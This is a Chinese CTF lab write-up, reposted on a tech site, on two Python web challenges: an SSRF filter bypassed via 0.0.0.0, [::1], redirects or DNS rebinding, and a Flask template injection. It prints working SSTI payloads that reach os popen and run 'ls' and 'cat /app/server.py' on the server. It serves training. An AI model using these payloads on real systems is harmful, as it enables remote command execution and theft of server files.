《从0到1:CTFer成长之路》书籍配套题目-[第三章 web进阶]Python的安全问题

导读:本篇文章讲解 《从0到1:CTFer成长之路》书籍配套题目-[第三章 web进阶]Python的安全问题,希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com

[第三章 web进阶]Python的安全问题


介绍:记录一下笔记,方便以后迅速回忆使用。

《从0到1:CTFer成长之路》书籍配套题目,来源网站:《从0到1:CTFer成长之路》

1.Python里的SSRF

  • 题目提示
尝试访问到容器内部的 8000 端口和 url path /api/internal/secret 即可获取 flag
  • 首次尝试
    在这里插入图片描述
  • 127.0.0.1是被禁止的
  • 用0.0.0.0代替127.0.0.1就是成功了,

127.0.0.1是本机的环回地址,0.0.0.0代表本机上任何IP地址,因此可以利用0.0.0.0来绕过127.0.0.1的过滤。
在这里插入图片描述– flag

n1book{1132e28b5433c878}
  • 不过还有其他不同的方式,得多尝试一下,
  • 官方wp
本题有多重解法

 - `0.0.0.0:8000` 绕过
 - `[::1]:8000` 绕过(需要支持 ipv6)
 - 重定向跳转到 `127.0.0.1:8000`
 - dns rebinding 输入一个域名,第一次解析到非 `127.0.0.1` 地址上,第二个解析到 `127.0.0.1` 上。

2.python模仿注入(SSTI)

访问地址,提示 password is wrong,但是没有输入密码的地方,所以从 url 提交,发现可以识别和回显。

../?password={{7*7}}
  • 根据回显的结果可以判断这是一个flask模板注入

提交 password={{123*123}},发现页面上可以回显运行结果,猜测存在模板注入,从 response header Server: Werkzeug/1.0.1 Python/3.7.7 看,应该是 Python 的模板注入。

在这里插入图片描述

../?password={{"".__class__.__bases__[0].__subclasses__()}}

在这里插入图片描述
我们需要的是os命令执行类<class 'os._wrap_close'>

在这里插入图片描述

  • 我们要判断他所属的位置,这样才能进行索引,但干用眼睛看肯定太麻烦,我这有个小技巧,将全部类复制放到pycharm(与他有同样功能的工具也行),我们索引逗号的位置,我们索引到我们需要类的位置,再在索引他前面逗号的位置,我这里索引的结果是127,如果不对上下浮动几位看一下,大概就这个位置,我这127是正确的,
    在这里插入图片描述

  • 我们可以先看一下我们索引的是否正确,输入url

../?password={{"".__class__.__bases__[0].__subclasses__()[127]

在这里插入图片描述– 我这里索引的结果是127,如果不对上下浮动几位看一下,大概就这个位置,我这127是正确的,所以索引结果就是<class 'os._wrap_close'>

  • 构造语句,并执行ls命令(对方是Linux服务器,所以要使用Linux命令)
../?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}

在这里插入图片描述

  • 我们看到命运的结果是
    在这里插入图片描述
  • 整理一下就是有以下几个文件夹,
├── app  
├── bin 
├── boot 
......
└── var
  • 其中最引起我们注意的就是app这个文件夹

  • 经过一些尝试(目录遍历什么的),我们得知flag就在/app/server.py中,我们直接用cat查看文件内容就行

../?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat /app/server.py').read()}}

在这里插入图片描述

password is wrong: from flask import Flask from flask import render_template from flask import request from flask import render_template_string app = Flask(__name__) # FLAG: n1book{eddb84d69a421a82} @app.route('/') def index(): password = request.args.get("password") or "" template = ''' <p>password is wrong: %s</p> ''' %(password) return render_template_string(template) if __name__ == '__main__': app.run(debug=False, host="0.0.0.0", port=8000)
  • 其中我们要的flag就是
FLAG: n1book{eddb84d69a421a82}
  • 成功!!!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92727.html

(0)
小半的头像小半

相关推荐

极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!